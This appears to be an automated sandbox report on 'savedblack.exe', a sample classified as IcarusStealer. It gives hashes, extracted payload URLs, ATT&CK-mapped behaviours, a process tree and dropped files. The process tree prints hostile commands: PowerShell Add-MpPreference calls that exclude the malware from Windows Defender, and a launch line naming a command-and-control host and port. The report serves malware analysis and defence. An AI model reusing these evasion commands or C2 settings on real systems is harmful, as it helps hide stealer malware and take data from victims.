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Overview

overview

10

Static

static

3

savedblack.exe

windows10-1703-x64

10

savedblack.exe

windows10-2004-x64

10

savedblack.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    03/07/2024, 02:28

Sharing

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General

  • Target

    savedblack.exe

  • Size

    494KB

  • MD5

    2089eac1493e5034f266fb8a5a3a2d91

  • SHA1

    35e5341c15062df6c7d4fcfad0ce7ff4cb606629

  • SHA256

    1a18bb8dd805fba37b7afa53ece89b4ceab58f7c75b462d1de9c2ddcea056c67

  • SHA512

    025d238696aabd645fb2ec6c7456ffc18dff7bb59893579ea445c8f10b0c67d56980ee8f0354d399ece2f94ae05b5c72ccbe77e5241fcd559eb1639e4d0cc09e

  • SSDEEP

    12288:Oe+CrtuLut6N6LqQzJqkKAulc84bYBbuB1t4cWWzDKuVAccIpGNJ+Q1:j9Z6N6LqQzJqk2

Score
10/10
icarusstealerexecutionpersistencestealer

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://blackhatsec.org/add.jpg

    https://blackhatsec.org/remove.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

    stealericarusstealer
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Executes dropped EXE 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 14 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of FindShellTrayWindow 33 IoCs
  • Suspicious use of SendNotifyMessage 28 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\savedblack.exe
    "C:\Users\Admin\AppData\Local\Temp\savedblack.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2936
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f1rs0hv1\f1rs0hv1.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:244
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7ADD.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC8AA095CA8D5A49B5BB2C24273F2C3C99.TMP"
        3⤵
          PID:3164
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2348
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client notes-ease.gl.at.ply.gg 22444 PUGlcQLxe
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3044
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4576
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4260
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4844
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1368
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /k start /b C:\Users\Admin\AppData\Local\Temp\YourPhone.exe & exit
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3664
        • C:\Users\Admin\AppData\Local\Temp\YourPhone.exe
          C:\Users\Admin\AppData\Local\Temp\YourPhone.exe
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3132
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2856

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      ac4917a885cf6050b1a483e4bc4d2ea5

      SHA1

      b1c0a9f27bd21c6bbb8e9be70db8777b4a2a640f

      SHA256

      e39062a62c3c7617feeeff95ea8a0be51104a0d36f46e44eea22556fda74d8d9

      SHA512

      092c67a3ecae1d187cad72a8ea1ea37cb78a0cf79c2cd7fb88953e5990669a2e871267015762fd46d274badb88ac0c1d73b00f1df7394d89bed48a3a45c2ba3d

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      16KB

      MD5

      d2a3225ace64921b78d9b27d3f3ab217

      SHA1

      0f754cf9099f6de731da0d8f1f0c5354504779d2

      SHA256

      846338e4039524b9d7e6eeab1b60cd290611265b05ef7297eb2d7ed78746474f

      SHA512

      ede4e1f1940d05d77d13e6c0e42dec1ad44f08bb42a1c12991a0771a6855e45e7f67b2027a2f0ee7de6adf57fc035d0d15d1a506b9c2d0a18006557d33d14cc6

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\RES7ADD.tmp
      Filesize

      1KB

      MD5

      7e85318d78e2f8d7e2ab2808fb8160e4

      SHA1

      75b53107db2bf138133683677051132b42577688

      SHA256

      c27b00bda54dc0649e1147ed649ef5a1ebec63f8e1f50c0bcb7b5627af0bc8c7

      SHA512

      86c202e3392daeae032c8c546335afa5bed1274227538beb424b1f8799dccd43d35dd8f8408993ba0a32f00edc3d9c789733bd023efdb5c5291c3a54b4f6e465

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\YourPhone.exe
      Filesize

      4KB

      MD5

      5b4adfb8d3de5d3340261d89505a78e7

      SHA1

      0a06c3e1d8b23fb956579b962ac50f2bd9ecee89

      SHA256

      36be44b651c6fb7ed47d8738a02adae3b52130ad6b75da95b024639c10929656

      SHA512

      d3f6c6dd41d00d24ff35465bbe4e1b21ad6bae5e447875e0e6e6b57c9862f59238f89f67a2d06b79a795dd54874861b93a716ad1d383670ba60ceddaa5189efe

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3w53rfxe.rzp.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • \??\c:\Users\Admin\AppData\Local\Temp\CSC8AA095CA8D5A49B5BB2C24273F2C3C99.TMP
      Filesize

      1KB

      MD5

      1d5543c367c49b9dd6366270fdd4ee3a

      SHA1

      bf1e4c9b270125c4fd6fba63cf9fa92c5b3b8e66

      SHA256

      502b03046eea75f154cee0da9adfb6ca501704b97ef7ac5053de8f0f9f92d4d2

      SHA512

      86c864acdf3b4b457128889d37d6aad9190c53be059f30c7975adc7966c1aaa0b695ed22599aa5f63b2e44c8f5411f861db08b20c9909f4b934c852f064efa04

      Download Submit

    • \??\c:\Users\Admin\AppData\Local\Temp\f1rs0hv1\f1rs0hv1.0.cs
      Filesize

      1KB

      MD5

      14846c9faaef9299a1bf17730f20e4e6

      SHA1

      8083da995cfaa0e8e469780e32fcff1747850eb6

      SHA256

      61bc7b23a430d724b310e374a67a60dd1e1f883c6dd3a98417c8579ba4973c1b

      SHA512

      549d99dbb7376d9d6106ad0219d6cf22eb70c80d54c9ad8c7d0b04a33d956515e55c9608ab6eec0733f2c23602867eb85b43e58200ded129958c7de7ed22efb1

      Download Submit

    • \??\c:\Users\Admin\AppData\Local\Temp\f1rs0hv1\f1rs0hv1.cmdline
      Filesize

      451B

      MD5

      e37fad7e78f9105249dfa473f79ac54c

      SHA1

      19026ccc5717ac3a5470cc1ebd25a810325810a0

      SHA256

      c5309f500d5744abe31c7cf9ce63c11dfb56e1b2f02c3c72d0ade696eefda3dc

      SHA512

      21e17de679cce9a1b47802f375662231d5c8744c8b2b5e99e70feed322c4bdc296a7a8ef1e0f5ed990b89c2aca1ba8bfc1d2c6c1778e8f9d025f3e9a6c901113

      Download Submit

    • memory/1368-78-0x0000000007470000-0x0000000007478000-memory.dmp

      Filesize

      32KB

      Download

    • memory/1368-60-0x000000006FA90000-0x000000006FADC000-memory.dmp

      Filesize

      304KB

      Download

    • memory/1368-70-0x00000000077B0000-0x0000000007E2A000-memory.dmp

      Filesize

      6.5MB

      Download

    • memory/1368-71-0x0000000007130000-0x000000000714A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/1368-72-0x00000000071B0000-0x00000000071BA000-memory.dmp

      Filesize

      40KB

      Download

    • memory/2936-4-0x0000000006770000-0x0000000006D16000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/2936-85-0x00000000749B0000-0x0000000075161000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/2936-1-0x0000000000040000-0x00000000000C2000-memory.dmp

      Filesize

      520KB

      Download

    • memory/2936-2-0x0000000004B40000-0x0000000004BDC000-memory.dmp

      Filesize

      624KB

      Download

    • memory/2936-5-0x00000000749B0000-0x0000000075161000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/2936-0-0x00000000749BE000-0x00000000749BF000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2936-3-0x0000000004BE0000-0x0000000004C72000-memory.dmp

      Filesize

      584KB

      Download

    • memory/3044-19-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

      Download

    • memory/3132-23-0x0000000000750000-0x0000000000758000-memory.dmp

      Filesize

      32KB

      Download

    • memory/4260-24-0x0000000002B70000-0x0000000002BA6000-memory.dmp

      Filesize

      216KB

      Download

    • memory/4260-49-0x00000000073B0000-0x00000000073E4000-memory.dmp

      Filesize

      208KB

      Download

    • memory/4260-67-0x00000000075F0000-0x0000000007694000-memory.dmp

      Filesize

      656KB

      Download

    • memory/4260-50-0x000000006FA90000-0x000000006FADC000-memory.dmp

      Filesize

      304KB

      Download

    • memory/4260-59-0x0000000007390000-0x00000000073AE000-memory.dmp

      Filesize

      120KB

      Download

    • memory/4260-47-0x0000000006420000-0x000000000646C000-memory.dmp

      Filesize

      304KB

      Download

    • memory/4260-46-0x0000000006400000-0x000000000641E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/4260-34-0x0000000005F30000-0x0000000006287000-memory.dmp

      Filesize

      3.3MB

      Download

    • memory/4260-73-0x00000000079D0000-0x0000000007A66000-memory.dmp

      Filesize

      600KB

      Download

    • memory/4260-74-0x0000000007960000-0x0000000007971000-memory.dmp

      Filesize

      68KB

      Download

    • memory/4260-75-0x0000000007990000-0x000000000799E000-memory.dmp

      Filesize

      56KB

      Download

    • memory/4260-76-0x00000000079A0000-0x00000000079B5000-memory.dmp

      Filesize

      84KB

      Download

    • memory/4260-77-0x0000000007AA0000-0x0000000007ABA000-memory.dmp

      Filesize

      104KB

      Download

    • memory/4260-27-0x0000000005600000-0x0000000005666000-memory.dmp

      Filesize

      408KB

      Download

    • memory/4260-28-0x0000000005670000-0x00000000056D6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/4260-26-0x0000000005560000-0x0000000005582000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4260-25-0x0000000005900000-0x0000000005F2A000-memory.dmp

      Filesize

      6.2MB

      Download